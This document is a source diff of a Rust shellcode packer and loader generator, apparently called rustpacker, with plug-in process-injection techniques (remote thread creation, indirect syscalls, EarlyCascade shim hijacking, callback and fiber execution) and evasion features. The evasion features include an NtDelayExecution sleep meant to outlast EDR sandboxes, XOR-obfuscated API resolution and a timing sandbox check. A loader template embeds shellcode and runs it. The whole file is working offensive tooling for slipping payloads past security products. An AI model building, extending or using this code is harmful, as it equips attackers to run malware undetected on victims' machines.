@@ -0,0 +1,44 @@
//! NtDelayExecution-based sleep evasion.
//!
//! Emits a single `pause(N);` call into ONE of three template placeholders
//! based on the user's `placement` choice. The `pause` function already
//! exists in every injection template (each one wraps either NtDelayExecution
//! via dynamic resolution / indirect syscall, or std::thread::sleep).
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
pub struct NtDelay;
impl Technique for NtDelay {
fn meta(&self) -> &'static TechniqueMeta { &NT_DELAY_META }
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
let raw_ms = ctx.param("nt_delay", "delay_ms").unwrap_or("3000");
let ms: u64 = raw_ms.trim().parse().unwrap_or(3000);
if ms == 0 {
return Ok(()); // no-op when user clears the field
}
let placement = ctx
.param("nt_delay", "placement")
.unwrap_or("Between every step");
let call = format!("pause({});", ms);
match placement {
"At start" => {
ctx.set_replacement("{{NT_DELAY_AT_START}}", call);
}
"Before execution only" => {
ctx.set_replacement("{{NT_DELAY_FINAL}}", call);
}
_ => {
// Default: between every step.
ctx.set_replacement("{{NT_DELAY_STEP}}", call);
}
}
Ok(())
}
}
pub use super::super::NT_DELAY_META;
@@ -0,0 +1,19 @@
id = "nt_delay"
display_name = "NtDelayExecution — sleep around shellcode operations"
description = "Insert a configurable Sleep() call. Use a long delay to outlast EDR sandbox emulators that bail after a few seconds, or stagger each step so behavioral analysis sees a slow-moving target."
category = "evasion"
tags = []
requires = []
incompatible_with = []
[[params]]
name = "delay_ms"
kind = "text"
label = "Delay (ms)"
default = "3000"
[[params]]
name = "placement"
kind = "choice"
label = "Placement"
options = ["Between every step", "Before execution only", "At start"]
@@ -0,0 +1,58 @@
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
pub struct CdefFolderMenu;
impl Technique for CdefFolderMenu {
fn meta(&self) -> &'static TechniqueMeta { &CDEF_FOLDER_MENU_META }
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
ctx.set_template("callbackExec");
let helpers = r#"
unsafe extern "system" fn cdef_invoke(param: *mut winapi::ctypes::c_void) -> u32 {
unsafe {
windows_sys::Win32::System::Com::CoInitializeEx(
std::ptr::null(),
windows_sys::Win32::System::Com::COINIT_APARTMENTTHREADED as u32,
);
let callback: windows_sys::Win32::UI::Shell::LPFNDFMCALLBACK =
Some(std::mem::transmute(param));
let mut ppcm: *mut std::ffi::c_void = std::ptr::null_mut();
windows_sys::Win32::UI::Shell::CDefFolderMenu_Create2(
std::ptr::null(),
std::ptr::null_mut(),
0,
std::ptr::null(),
std::ptr::null_mut(),
callback,
0,
std::ptr::null(),
&mut ppcm,
);
}
0
}
"#;
ctx.set_replacement("{{INJECTION_HELPERS}}", helpers.to_string());
let body = r#"
let addr = syscall_alloc_exec(&vec);
if addr.is_null() { return; }
let thread = winapi::um::processthreadsapi::CreateThread(
null_mut(),
0,
Some(cdef_invoke),
addr,
0,
null_mut(),
);
if !thread.is_null() {
winapi::um::synchapi::WaitForSingleObject(thread, 0xFFFFFFFF);
}
"#;
ctx.set_replacement("{{CALLBACK_INVOKE}}", body.to_string());
Ok(())
}
}
pub use super::super::CDEF_FOLDER_MENU_META;
@@ -0,0 +1,8 @@
id = "cdef_folder_menu"
display_name = "CDefFolderMenu_Create2"
description = "Execute via Shell32 CDefFolderMenu_Create2 callback, dispatched from a worker thread."
category = "injection"
tags = ["self_injection"]
requires = ["self_injection"]
incompatible_with = []
template_dir = "callbackExec"
@@ -0,0 +1,12 @@
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
pub struct Earlycascade;
impl Technique for Earlycascade {
fn meta(&self) -> &'static TechniqueMeta { &EARLYCASCADE_META }
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
ctx.set_template("ntEarlyCascade");
let tgt = ctx.param("earlycascade", "target_process").unwrap_or("dllhost.exe");
ctx.set_replacement("{{TARGET_PROCESS}}", tgt.to_string());
Ok(())
}
}
pub use super::super::EARLYCASCADE_META;
@@ -0,0 +1,14 @@
id = "earlycascade"
display_name = "EarlyCascade"
description = "EarlyCascade injection via shim engine callbacks."
category = "injection"
tags = ["remote_injection"]
requires = ["target_process"]
incompatible_with = []
template_dir = "ntEarlyCascade"
[[params]]
name = "target_process"
kind = "text"
label = "Target process"
default = "dllhost.exe"
@@ -0,0 +1,25 @@
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
pub struct EnumCalendarInfo;
impl Technique for EnumCalendarInfo {
fn meta(&self) -> &'static TechniqueMeta { &ENUM_CALENDAR_INFO_META }
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
ctx.set_template("callbackExec");
let body = r#"
let addr = syscall_alloc_exec(&vec);
if addr.is_null() { return; }
winapi::um::winnls::EnumCalendarInfoA(
Some(std::mem::transmute(addr)),
0x0400,
u32::MAX,
21,
);
"#;
ctx.set_replacement("{{CALLBACK_INVOKE}}", body.to_string());
Ok(())
}
}
pub use super::super::ENUM_CALENDAR_INFO_META;
@@ -0,0 +1,8 @@
id = "enum_calendar_info"
display_name = "EnumCalendarInfoA"
description = "Execute via EnumCalendarInfoA callback. CalType 21 with LOCALE_USER_DEFAULT."
category = "injection"
tags = ["self_injection"]
requires = ["self_injection"]
incompatible_with = []
template_dir = "callbackExec"
@@ -0,0 +1,24 @@
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
pub struct EnumDesktops;
impl Technique for EnumDesktops {
fn meta(&self) -> &'static TechniqueMeta { &ENUM_DESKTOPS_META }
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
ctx.set_template("callbackExec");
let body = r#"
let addr = syscall_alloc_exec(&vec);
if addr.is_null() { return; }
winapi::um::winuser::EnumDesktopsW(
winapi::um::winuser::GetProcessWindowStation(),
Some(std::mem::transmute(addr)),
0,
);
"#;
ctx.set_replacement("{{CALLBACK_INVOKE}}", body.to_string());
Ok(())
}
}
pub use super::super::ENUM_DESKTOPS_META;
@@ -0,0 +1,8 @@
id = "enum_desktops"
display_name = "EnumDesktopsW"
description = "Execute via EnumDesktopsW callback on the current window station."
category = "injection"
tags = ["self_injection"]
requires = ["self_injection"]
incompatible_with = []
template_dir = "callbackExec"
@@ -0,0 +1,24 @@
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
pub struct EnumSystemGeoId;
impl Technique for EnumSystemGeoId {
fn meta(&self) -> &'static TechniqueMeta { &ENUM_SYSTEM_GEO_ID_META }
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
ctx.set_template("callbackExec");
let body = r#"
let addr = syscall_alloc_exec(&vec);
if addr.is_null() { return; }
winapi::um::winnls::EnumSystemGeoID(
16,
0,
Some(std::mem::transmute(addr)),
);
"#;
ctx.set_replacement("{{CALLBACK_INVOKE}}", body.to_string());
Ok(())
}
}
pub use super::super::ENUM_SYSTEM_GEO_ID_META;
@@ -0,0 +1,8 @@
id = "enum_system_geo_id"
display_name = "EnumSystemGeoID"
description = "Execute via EnumSystemGeoID callback (geo class GEOCLASS_NATION = 16)."
category = "injection"
tags = ["self_injection"]
requires = ["self_injection"]
incompatible_with = []
template_dir = "callbackExec"
@@ -0,0 +1,23 @@
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
pub struct EnumWindowStations;
impl Technique for EnumWindowStations {
fn meta(&self) -> &'static TechniqueMeta { &ENUM_WINDOW_STATIONS_META }
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
ctx.set_template("callbackExec");
let body = r#"
let addr = syscall_alloc_exec(&vec);
if addr.is_null() { return; }
winapi::um::winuser::EnumWindowStationsW(
Some(std::mem::transmute(addr)),
0,
);
"#;
ctx.set_replacement("{{CALLBACK_INVOKE}}", body.to_string());
Ok(())
}
}
pub use super::super::ENUM_WINDOW_STATIONS_META;
@@ -0,0 +1,8 @@
id = "enum_window_stations"
display_name = "EnumWindowStationsW"
description = "Execute via EnumWindowStationsW callback. Lower API surface than EnumDesktopsW."
category = "injection"
tags = ["self_injection"]
requires = ["self_injection"]
incompatible_with = []
template_dir = "callbackExec"
@@ -0,0 +1,58 @@
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
pub struct RtlUserFiberStart;
impl Technique for RtlUserFiberStart {
fn meta(&self) -> &'static TechniqueMeta { &RTL_USER_FIBER_START_META }
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
ctx.set_template("callbackExec");
let helpers = r#"
type RtlUserFiberStartFn = unsafe extern "system" fn() -> i32;
#[inline]
unsafe fn rtl_get_teb() -> *mut u8 {
let teb: *mut u8;
std::arch::asm!("mov {}, gs:[0x30]", out(reg) teb, options(nostack, preserves_flags));
teb
}
"#;
ctx.set_replacement("{{INJECTION_HELPERS}}", helpers.to_string());
let body = r#"
const TEB_FLAGS_OFFSET: usize = 0x20;
const FIBER_CONTEXT_RIP_OFFSET: usize = 0x0A8;
const HAS_FIBER_DATA_BIT: u8 = 0b100;
let ntdll = GetModuleHandleA(b"ntdll\0".as_ptr() as *const i8);
if ntdll.is_null() { return; }
let rtl_ptr = GetProcAddress(ntdll, b"RtlUserFiberStart\0".as_ptr() as *const i8);
if rtl_ptr.is_null() { return; }
let teb = rtl_get_teb();
*teb.add(TEB_FLAGS_OFFSET) |= HAS_FIBER_DATA_BIT;
let addr = syscall_alloc_exec(&vec);
if addr.is_null() { return; }
let heap = windows_sys::Win32::System::Memory::GetProcessHeap();
if heap.is_null() { return; }
let fiber_data = windows_sys::Win32::System::Memory::HeapAlloc(heap, 0, 0x100);
if fiber_data.is_null() { return; }
*(fiber_data as *mut *mut std::ffi::c_void).add(FIBER_CONTEXT_RIP_OFFSET / 8) = addr as *mut std::ffi::c_void;
std::arch::asm!("mov gs:[0x20], {}", in(reg) fiber_data, options(nostack));
let rtl_fn: RtlUserFiberStartFn = std::mem::transmute(rtl_ptr);
let _ = rtl_fn();
windows_sys::Win32::System::Memory::HeapFree(heap, 0, fiber_data);
"#;
ctx.set_replacement("{{CALLBACK_INVOKE}}", body.to_string());
Ok(())
}
}
pub use super::super::RTL_USER_FIBER_START_META;
@@ -0,0 +1,8 @@
id = "rtl_user_fiber_start"
display_name = "RtlUserFiberStart"
description = "Pivot into a fiber via undocumented ntdll!RtlUserFiberStart and a hand-rolled TEB fiber-data block."
category = "injection"
tags = ["self_injection"]
requires = ["self_injection"]
incompatible_with = []
template_dir = "callbackExec"
+12
View File
@@ -0,0 +1,12 @@
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
pub struct Syscrt;
impl Technique for Syscrt {
fn meta(&self) -> &'static TechniqueMeta { &SYSCRT_META }
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
ctx.set_template("sysCRT");
let tgt = ctx.param("syscrt", "target_process").unwrap_or("dllhost.exe");
ctx.set_replacement("{{TARGET_PROCESS}}", tgt.to_string());
Ok(())
}
}
pub use super::super::SYSCRT_META;
@@ -0,0 +1,14 @@
id = "syscrt"
display_name = "NtCreateThreadEx via indirect syscalls"
description = "Remote NtCreateThreadEx via indirect syscalls (Dyncvoke) — bypasses user-mode EDR hooks on ntdll."
category = "injection"
tags = ["remote_injection", "syscall"]
requires = ["target_process"]
incompatible_with = []
template_dir = "sysCRT"
[[params]]
name = "target_process"
kind = "text"
label = "Target process"
default = "dllhost.exe"
+10
View File
@@ -0,0 +1,10 @@
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
pub struct Sysfiber;
impl Technique for Sysfiber {
fn meta(&self) -> &'static TechniqueMeta { &SYSFIBER_META }
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
ctx.set_template("sysFIBER");
Ok(())
}
}
pub use super::super::SYSFIBER_META;
@@ -0,0 +1,8 @@
id = "sysfiber"
display_name = "Fibers via indirect syscalls"
description = "Self-execute via fibers using indirect syscalls. Maximum evasion for self-injection."
category = "injection"
tags = ["self_injection", "syscall"]
requires = ["self_injection"]
incompatible_with = []
template_dir = "sysFIBER"
+12
View File
@@ -0,0 +1,12 @@
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
pub struct Wincrt;
impl Technique for Wincrt {
fn meta(&self) -> &'static TechniqueMeta { &WINCRT_META }
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
ctx.set_template("winCRT");
let tgt = ctx.param("wincrt", "target_process").unwrap_or("dllhost.exe");
ctx.set_replacement("{{TARGET_PROCESS}}", tgt.to_string());
Ok(())
}
}
pub use super::super::WINCRT_META;
@@ -0,0 +1,14 @@
id = "wincrt"
display_name = "CreateRemoteThread (official Windows crate)"
description = "Classic CreateRemoteThread via the official Windows crate. Easiest to spot but smallest footprint."
category = "injection"
tags = ["remote_injection"]
requires = ["target_process"]
incompatible_with = []
template_dir = "winCRT"
[[params]]
name = "target_process"
kind = "text"
label = "Target process"
default = "dllhost.exe"
+31
View File
@@ -0,0 +1,31 @@
//! Technique registry — the runtime/build-time abstraction over
//! encryption / injection / evasion plugins.
//!
//! The registry itself (`TECHNIQUES`) is generated by `build.rs` from
//! `technique.toml` manifests and included below.
pub mod build_context;
pub mod types;
pub use build_context::BuildContext;
pub use types::*;
pub trait Technique: Send + Sync {
fn meta(&self) -> &'static TechniqueMeta;
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()>;
}
/// All techniques discovered at compile time. Populated by `build.rs`.
pub fn all() -> &'static [&'static dyn Technique] {
REGISTRY
}
include!(concat!(env!("OUT_DIR"), "/registry.rs"));
pub fn find(id: &str) -> Option<&'static dyn Technique> {
REGISTRY.iter().copied().find(|t| t.meta().id == id)
}
pub fn by_category(cat: Category) -> impl Iterator<Item = &'static dyn Technique> {
REGISTRY.iter().copied().filter(move |t| t.meta().category == cat)
}
+57
View File
@@ -0,0 +1,57 @@
//! Static metadata types for techniques. Every technique provides a
//! `&'static TechniqueMeta` describing itself to the GUI and CLI.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Category {
Encryption,
Injection,
Evasion,
}
impl Category {
pub fn as_str(self) -> &'static str {
match self {
Category::Encryption => "encryption",
Category::Injection => "injection",
Category::Evasion => "evasion",
}
}
}
#[derive(Debug, Clone, Copy)]
pub enum Format {
Exe,
Dll,
DllSideload,
}
#[derive(Debug, Clone, Copy)]
pub enum Requirement {
/// Technique needs a target process name (remote injection).
TargetProcess,
/// Technique only works with the given output format.
Format(Format),
/// Technique injects into the current process (no remote target).
SelfInjection,
}
#[derive(Debug, Clone, Copy)]
pub enum ParamSpec {
Text { name: &'static str, label: &'static str, default: &'static str },
Bool { name: &'static str, label: &'static str, default: bool },
Choice { name: &'static str, label: &'static str, options: &'static [&'static str] },
}
#[derive(Debug)]
pub struct TechniqueMeta {
pub id: &'static str,
pub display_name: &'static str,
pub description: &'static str,
pub category: Category,
pub tags: &'static [&'static str],
pub requires: &'static [Requirement],
pub incompatible_with: &'static [&'static str],
pub params: &'static [ParamSpec],
}
include!("types_tests.rs");
+41
View File
@@ -0,0 +1,41 @@
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn meta_can_be_constructed_as_static() {
const M: TechniqueMeta = TechniqueMeta {
id: "test_xor",
display_name: "Test XOR",
description: "fixture",
category: Category::Encryption,
tags: &[],
requires: &[],
incompatible_with: &[],
params: &[ParamSpec::Text { name: "key", label: "Key", default: "0x42" }],
};
assert_eq!(M.id, "test_xor");
assert!(matches!(M.category, Category::Encryption));
}
#[test]
fn requirement_self_injection_matches() {
let req = Requirement::SelfInjection;
assert!(matches!(req, Requirement::SelfInjection));
}
#[test]
fn registry_includes_xor() {
let xor = crate::techniques::find("xor").expect("xor technique not registered");
assert_eq!(xor.meta().id, "xor");
assert!(matches!(xor.meta().category, crate::techniques::Category::Encryption));
}
#[test]
fn all_eight_injections_register() {
let ids = ["syscrt", "wincrt", "earlycascade", "sysfiber"];
for id in ids {
assert!(crate::techniques::find(id).is_some(), "missing injection: {id}");
}
}
}
+171
View File
@@ -0,0 +1,171 @@
use crate::order::Order;
use path_clean::PathClean;
use rand::distr::Alphanumeric;
use rand::RngExt;
use std::env;
use std::fs::{self, File};
use std::io;
use std::io::Write;
use std::path::{Path, PathBuf};
#[derive(Debug, Clone)]
pub struct EncryptionOutput {
pub decryption_function: String,
pub main: String,
pub dependencies: Option<String>,
pub imports: Option<String>,
}
#[derive(Debug, Clone)]
pub struct SandboxOutput {
pub sandbox_function: String,
pub sandbox_import: String,
}
pub fn absolute_path(path: impl AsRef<Path>) -> io::Result<PathBuf> {
let path = path.as_ref();
let absolute_path = if path.is_absolute() {
path.to_path_buf()
} else {
env::current_dir()?.join(path)
}.clean();
Ok(absolute_path)
}
pub fn write_to_file(content: &[u8], path: &Path) -> Result<(), Box<dyn std::error::Error>> {
let mut file = File::create(path)?;
file.write_all(content)?;
Ok(())
}
pub fn random_u8() -> u8 { rand::random() }
pub fn random_aes_key() -> [u8; 32] { rand::random::<[u8; 32]>() }
pub fn random_aes_iv() -> [u8; 16] { rand::random::<[u8; 16]>() }
pub fn get_source_binary_filename(order: &Order, output_folder: &Path) -> PathBuf {
let template_name = template_name_for_injection(&order.injection_id);
let binary_name = format!("{}.{}", template_name, order.format.extension());
let candidates = [
"target/x86_64-pc-windows-msvc/release",
"target/x86_64-pc-windows-gnu/release",
];
for dir in candidates {
let path = output_folder.join(dir).join(&binary_name);
if path.exists() {
return path;
}
}
output_folder.join(format!("target/x86_64-pc-windows-gnu/release/{}", binary_name))
}
fn template_name_for_injection(injection_id: &str) -> &'static str {
// The compiled binary inherits its name from the template folder.
match injection_id {
"syscrt" => "sysCRT",
"wincrt" => "winCRT",
"sysfiber" => "sysFIBER",
"earlycascade" => "ntEarlyCascade",
"enum_calendar_info" => "callbackExec",
"enum_desktops" => "callbackExec",
"enum_system_geo_id" => "callbackExec",
"enum_window_stations" => "callbackExec",
"cdef_folder_menu" => "callbackExec",
"rtl_user_fiber_start" => "callbackExec",
other => panic!("unknown injection id: {other}"),
}
}
pub fn process_output(order: &Order, output_folder_path: &Path) -> io::Result<()> {
let output_path = match &order.output { Some(p) => p, None => return Ok(()) };
if let Some(parent) = output_path.parent() {
if !parent.exists() { fs::create_dir_all(parent)?; }
}
let source_binary = get_source_binary_filename(order, output_folder_path);
if !source_binary.is_file() {
return Err(io::Error::new(io::ErrorKind::NotFound, format!("Source file does not exist: {:?}", source_binary)));
}
fs::copy(&source_binary, output_path)?;
crate::blog!("[+] Your binary has been written here: {:?}", output_path);
Ok(())
}
pub fn generate_random_filename(order: &Order) -> String {
let mut rng = rand::rng();
let random_string: String = (0..8).map(|_| rng.sample(Alphanumeric) as char).collect();
format!("{}.{}", random_string, order.format.extension())
}
pub fn rename_source_binary(order: &Order, output_folder_path: &Path) -> io::Result<()> {
let source_binary = get_source_binary_filename(order, output_folder_path);
if !source_binary.exists() {
return Err(io::Error::new(io::ErrorKind::NotFound, format!("Source file does not exist: {:?}", source_binary)));
}
let random_filename = generate_random_filename(order);
let release_dir = source_binary.parent().expect("Source binary has no parent directory");
let new_path = release_dir.join(random_filename);
fs::rename(&source_binary, &new_path)?;
crate::blog!("[+] Source binary has been renamed to: {:?}", new_path);
Ok(())
}
#[cfg(test)]
mod tests {
use super::*;
use crate::order::{Order, OutputFormat};
use std::collections::HashMap;
use std::path::PathBuf;
fn fixture_order(format: OutputFormat) -> Order {
Order {
shellcode_path: PathBuf::from("/tmp/test.bin"),
format,
encryption_id: "xor".to_string(),
injection_id: "syscrt".to_string(),
evasions: Vec::new(),
params: HashMap::new(),
output: None,
sideload: None,
}
}
#[test]
fn write_to_file_roundtrip() {
let dir = std::env::temp_dir().join("rustpacker_test_tools_write");
fs::create_dir_all(&dir).unwrap();
let path = dir.join("test_output.bin");
let content: Vec<u8> = vec![0xCA, 0xFE, 0xBA, 0xBE];
write_to_file(&content, &path).unwrap();
let read_back = fs::read(&path).unwrap();
assert_eq!(read_back, content);
fs::remove_dir_all(&dir).unwrap();
}
#[test]
fn absolute_path_already_absolute() {
let path: &Path = if cfg!(windows) { Path::new("C:\\tmp\\test") } else { Path::new("/tmp/test") };
let result = absolute_path(path).unwrap();
assert!(result.is_absolute());
assert_eq!(result, path);
}
#[test]
fn random_aes_key_length() { assert_eq!(random_aes_key().len(), 32); }
#[test]
fn random_aes_iv_length() { assert_eq!(random_aes_iv().len(), 16); }
#[test]
fn generate_random_filename_format() {
let order = fixture_order(OutputFormat::Exe);
let filename = generate_random_filename(&order);
assert!(filename.ends_with(".exe"));
assert_eq!(filename.len(), 12);
}
#[test]
fn get_source_binary_filename_uses_template_name() {
let order = fixture_order(OutputFormat::Dll);
let path = get_source_binary_filename(&order, Path::new("/output"));
assert!(path.to_string_lossy().contains("sysCRT.dll"));
}
}
+38
View File
@@ -0,0 +1,38 @@
[package]
name = "callbackExec"
version = "0.1.0"
edition = "2021"
{{DLL_FORMAT}}
[dependencies]
winapi = { version = "0.3", features = [
"ntdef", "ntstatus", "impl-default",
"libloaderapi", "processthreadsapi", "memoryapi",
"winnls", "winuser", "synchapi", "winnt",
"debugapi", "errhandlingapi", "sysinfoapi",
"minwindef", "handleapi",
] }
dyncvoke = { git = "https://github.com/Whitecat18/Dyncvoke" }
{{DEPENDENCIES}}
[dependencies.windows-sys]
version = "0.61"
features = [
"Win32_System_Memory",
"Win32_Foundation",
"Win32_Security",
"Win32_System_Threading",
"Win32_System_Com",
"Win32_System_Registry",
"Win32_UI_Shell",
"Win32_UI_Shell_Common",
]
[profile.release]
strip = true
opt-level = "z"
codegen-units = 1
panic = "abort"
lto = true
+122
View File
@@ -0,0 +1,122 @@
#![windows_subsystem = "windows"]
#![allow(non_snake_case, unused_imports, unused_unsafe)]
use std::ffi::CString;
use std::include_bytes;
use std::ptr::null_mut;
use std::time::Instant;
use winapi::ctypes::c_void;
use winapi::um::libloaderapi::{GetModuleHandleA, GetProcAddress};
use windows_sys::Win32::System::Memory::{
MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE,
};
use dyncvoke::dyncvoke_core::syscall;
{{IMPORTS}}
{{SANDBOX_IMPORTS}}
unsafe fn syscall_alloc_exec(bytes: &[u8]) -> *mut c_void {
let h_proc: *mut c_void = -1isize as *mut c_void;
let mut base: *mut c_void = null_mut();
let mut size: usize = bytes.len();
let status = syscall!(
"NtAllocateVirtualMemory",
h_proc,
&mut base as *mut *mut c_void,
0usize,
&mut size as *mut usize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
).unwrap_or(-1);
if status < 0 || base.is_null() { return null_mut(); }
std::ptr::copy_nonoverlapping(bytes.as_ptr(), base as *mut u8, bytes.len());
let mut old_protect: u32 = 0;
let mut psize: usize = bytes.len();
let status = syscall!(
"NtProtectVirtualMemory",
h_proc,
&mut base as *mut *mut c_void,
&mut psize as *mut usize,
PAGE_EXECUTE_READ,
&mut old_protect as *mut u32
).unwrap_or(-1);
if status < 0 { return null_mut(); }
base
}
{{INJECTION_HELPERS}}
{{DECRYPTION_FUNCTION}}
const K: u8 = {{API_KEY}};
const OBF_H: &[u8] = &{{OBF_NT_DELAY_EXECUTION}};
fn r(d: &[u8]) -> Vec<u8> {
d.iter().map(|b| b ^ K).collect()
}
unsafe fn g(n: &[u8]) -> *const () {
let h = GetModuleHandleA(b"ntdll\0".as_ptr() as *const i8);
let s = r(n);
let c = CString::new(s).unwrap();
GetProcAddress(h, c.as_ptr()) as *const ()
}
type FH = unsafe extern "system" fn(u32, *const i64) -> i32;
fn pause(ms: i64) {
unsafe {
let f: FH = std::mem::transmute(g(OBF_H));
let interval: i64 = -(ms * 10_000);
f(0, &interval);
}
}
fn check_environment() -> bool {
let start = Instant::now();
pause(3000);
start.elapsed().as_millis() >= 2500
}
fn wipe(buf: &mut Vec<u8>) {
for b in buf.iter_mut() {
unsafe { std::ptr::write_volatile(b as *mut u8, 0); }
}
buf.clear();
}
fn detonate(mut vec: Vec<u8>) {
{{NT_DELAY_STEP}}
pause(100);
{{NT_DELAY_FINAL}}
unsafe {
{{CALLBACK_INVOKE}}
}
wipe(&mut vec);
}
fn main() {
{{NT_DELAY_AT_START}}
{{SANDBOX}}
if !check_environment() { return; }
let buf = include_bytes!({{PATH_TO_SHELLCODE}});
let mut vec: Vec<u8> = buf.to_vec();
{{MAIN}}
detonate(vec);
}
{{DLL_MAIN}}
+13
View File
@@ -0,0 +1,13 @@
# Generated by Cargo
# will have compiled files and executables
/target/
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
Cargo.lock
# These are backup files generated by rustfmt
**/*.rs.bk
# Local shellcodes used for tests
*.bin
+28
View File
@@ -0,0 +1,28 @@
[package]
name = "ntEarlyCascade"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
{{DLL_FORMAT}}
[dependencies]
windows-sys = { version = "0.61", features = [
"Win32_Foundation",
"Win32_Security",
"Win32_System_Threading",
"Win32_System_Memory",
"Win32_System_Diagnostics_Debug",
"Win32_System_LibraryLoader",
] }
# Used by domain_pin and anti_debug evasion snippets.
winapi = { version = "0.3", features = ["sysinfoapi", "ntdef", "libloaderapi", "processthreadsapi", "debugapi", "errhandlingapi", "winnt"] }
{{DEPENDENCIES}}
[profile.release]
strip = true
opt-level = "z"
codegen-units = 1
panic = "abort"
lto = true
+172
View File
@@ -0,0 +1,172 @@
// Pattern-scanner helpers for the EarlyCascade injection technique.
use windows_sys::Win32::System::Memory::RtlCompareMemory;
const MAX_PATTERN_SIZE: usize = 0x20;
pub fn encode_system_ptr(ptr: u64) -> u64 {
let cookie: u32 = unsafe { *(0x7FFE0330 as *const u32) };
((ptr ^ cookie as u64).rotate_right((cookie & 0x3F) as u32)) as u64
}
pub fn find_pattern(buf: &[u8], pat: &[u8]) -> Option<usize> {
if buf.len() < pat.len() {
return None;
}
buf.windows(pat.len()).position(|window| unsafe {
RtlCompareMemory(window.as_ptr() as _, pat.as_ptr() as _, pat.len()) == pat.len()
})
}
#[repr(C)]
struct CascadePattern {
data: [u8; MAX_PATTERN_SIZE],
size: u8,
pc_off: u8,
}
pub fn find_se_dll_loaded(ntdll_base: u64) -> Option<(u64, u64)> {
let patterns = [CascadePattern {
data: [
0x8B, 0x14, 0x25, 0x30, 0x03, 0xFE, 0x7F, 0x8B, 0xC2, 0x48, 0x8B, 0x3D, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
],
size: 12,
pc_off: 4,
}];
let dos = ntdll_base as *const u8;
let e_lfanew = unsafe { *(dos.offset(0x3C) as *const i32) } as isize;
let nt = (ntdll_base as isize + e_lfanew) as *const u8;
let num_sections = unsafe { *(nt.offset(6) as *const u16) } as usize;
let opt_size = unsafe { *(nt.offset(20) as *const u16) } as isize;
let sec_start = unsafe { nt.offset(24 + opt_size) };
let mut text_va = 0u64;
let mut text_size = 0u64;
let mut mrdata_va = 0u64;
let mut mrdata_size = 0u64;
for i in 0..num_sections {
let sec = unsafe { sec_start.offset((i * 40) as isize) };
let name_arr = unsafe { *(sec as *const [u8; 8]) };
if name_arr == *b".text\0\0\0" {
text_va = unsafe { *(sec.offset(12) as *const u32) } as u64;
text_size = unsafe { *(sec.offset(8) as *const u32) } as u64;
}
if name_arr == *b".mrdata\0" {
mrdata_va = unsafe { *(sec.offset(12) as *const u32) } as u64;
mrdata_size = unsafe { *(sec.offset(8) as *const u32) } as u64;
}
}
let text_start = ntdll_base + text_va;
for pat in patterns {
let mut pos = text_start as usize;
let mem =
unsafe { std::slice::from_raw_parts(text_start as *const u8, text_size as usize) };
while let Some(off) = find_pattern(
&mem[(pos - text_start as usize)..],
&pat.data[..pat.size as usize],
) {
pos = text_start as usize + (pos - text_start as usize) + off + pat.size as usize;
if unsafe { *((pos as *const u8).offset(3)) } != 0 {
continue;
}
let rel = unsafe { *(pos as *const i32) };
let addr = (pos as u64)
.wrapping_add(rel as u64)
.wrapping_add(pat.pc_off as u64);
if addr >= ntdll_base + mrdata_va && addr < ntdll_base + mrdata_va + mrdata_size {
return Some((addr, pos as u64 - pat.size as u64));
}
}
}
None
}
pub fn find_shims_enabled(ntdll_base: u64, offset_addr: u64) -> Option<u64> {
let patterns = [
CascadePattern {
data: [
0xc6, 0x05, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0,
],
size: 2,
pc_off: 5,
},
CascadePattern {
data: [
0x44, 0x38, 0x25, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0,
],
size: 3,
pc_off: 4,
},
// Win11 variant for `cmp [rel], r13b`
CascadePattern {
data: [
0x44, 0x38, 0x2D, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0,
],
size: 3,
pc_off: 4,
},
];
let search_start = offset_addr.saturating_sub(0xFF);
let search_end = offset_addr + 0xFF;
let mem = unsafe {
std::slice::from_raw_parts(
search_start as *const u8,
(search_end - search_start) as usize,
)
};
let dos = ntdll_base as *const u8;
let e_lfanew = unsafe { *(dos.offset(0x3C) as *const i32) } as isize;
let nt = (ntdll_base as isize + e_lfanew) as *const u8;
let num_sections = unsafe { *(nt.offset(6) as *const u16) } as usize;
let opt_size = unsafe { *(nt.offset(20) as *const u16) } as isize;
let sec_start = unsafe { nt.offset(24 + opt_size) };
let mut data_va = 0u64;
let mut data_size = 0u64;
for i in 0..num_sections {
let sec = unsafe { sec_start.offset((i * 40) as isize) };
let name_arr = unsafe { *(sec as *const [u8; 8]) };
